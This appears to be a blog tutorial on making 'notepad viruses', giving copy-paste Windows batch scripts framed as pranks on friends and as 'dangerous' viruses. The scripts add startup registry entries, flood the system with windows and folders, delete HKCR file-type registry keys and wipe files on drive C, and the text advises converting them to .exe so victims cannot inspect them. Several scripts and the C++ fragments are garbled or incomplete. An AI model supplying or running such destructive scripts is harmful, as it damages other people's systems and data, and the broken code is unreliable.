Home Cyber Security How to create a notepad virus (2020)

How to create a notepad virus (2020)

Have you ever thought about how to create a virus? Don’t worry we are here with a complete tutorial on how to create a virus with notepad and some funny computer viruses to prank your friends, and also how to create a simple but dangerous notepad virus with step by step explanation. So let’s see how to make a virus with a notepad.

As we know that a computer virus is a malicious program that enters into a system without permission and affects the data of the systems. Viruses are of different types and can be coded with different instruction to harm other users differently, it can be coded to self-replicate itself, corrupt the data of the system, steal passwords, etc.

Also See: How to start competitive programming |Guide to become 5-star

Create a notepad Notepad virus (Batch scripting)

Lets first understand what is batch scripting in simple terms. In simple terms, a batch script is a simple text file containing a sequence of commands, to be executed.

With a batch file, we can create an extremely dangerous virus that can steal data, format drives, disables firewall and antivirus, etc.

how to create a virus with notepad
create notepad virus

To create a simple notepad virus you don’t need high-end programming skills, you just need some basic knowledge and then you can create a virus in notepad.

Below are mentioned the codes for different virus codes, just copy Ctrl+C and paste Ctrl+V it in Notepad and save it as .bat extension. It’s very easy to create a virus.

NOTE: This post is solely and mainly for educational purpose only. I am nowhere responsible for any kind of damage caused by this tutorial

How to make a virus with notepad

create computer virus
create a computer virus

Disable Internet Permanently

echo @echo off>c:windowswimn32.bat

echo break off>c:windowswimn32.bat echo


echo end>c:windowswimn32.batreg add

hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add

hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!


Endless Notepad virus prank

@ECHO off


 START %SystemRoot%\system32\notepad.exe

 GOTO top

Unlimited Folder flooded prank

@echo off

: x

md %random%


goto x

Notepad Matrix prank

@echo off

color 02


echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Dangerous notepad virus

Delete Registry Keys


 START reg delete HKCR/.exe

 START reg delete HKCR/.dll

 START reg delete HKCR/*


 ECHO Your PC has been crashed.Your Dad.


Delete drive virus

@Echo off

Del C:\ *.* |y

create a virus
delete drive virus

After pasting the code in the notepad save the file as virus.bat extension. Done we have successfully created a virus in notepad.

Note: If any skilled person sees the program as .bat extension he/can easily check the code and delete it immediately if found dangerous for that download BatToExe it will easily convert .bat file into .exe file.

So this post was all about how to create a virus with notepad. After this, you can easily make a computer virus. If you have some more tricks you share with us and don’t forget to share with your friends.

How to create a virus in C++

Turn Off Monitor

#include <iostream>

#include <stdio.h>

#include <windows.h>

#include <winable.h>

#include <conio.h>

#include <ctime>

void Hibernation()





Crazy Mouse virus

void CrazyMouse()


X = rand()%801;

Y = rand()%601;

SetCursorPos( X, Y );


If you liked our post on how to create a virus with notepad share it with your friends.

Must See: How to download Instagram videos for Android

Satender Kumarhttps://geekosapiens.com
A tech Blogger always fascinated with the technology and gather as much amount of knowledge from the internet. Loves to share the knowledge with the others.


Please enter your comment!
Please enter your name here

Most Popular

6 Best Private Search Engines that Do Not Track You

We all care for our privacy whether in real life or on the Internet. Not to worry we are here with 6 Best Private Search Engines that do not track. And will help you to find which is the best search engine?

In-Depth of Lava’s Customizable Smartphones

Lava is an Indian Smartphone brand that has finally delivered us what other smartphone brands were unable to do. The customizable smartphones are Z1, Z2, Z4, Z6. These smartphones are customized by Lava's My Z service. As specified by Lava this service will be upgraded to MyZup for customizing bought out phones. Let's check out the comparison of Lava's customizable smartphones.

Why companies are removing chargers from smartphone boxes?

Recently Apple stopped shipping the chargers with their phones. According to them, this step was taken to reduce waste generation. But, deep down we know they had done this to boost their retail chargers sales. This reason is still not much clear why companies are removing chargers from smartphone.

How to Mirror Android screen to PC?

We all have heard and love casting our device on the TV. But, did you know that the android screens can also be cast or mirrored in PCs also? This can be done by many methods which can be wired or wireless. We are here with an awesome guide on how to mirror android screen to PC.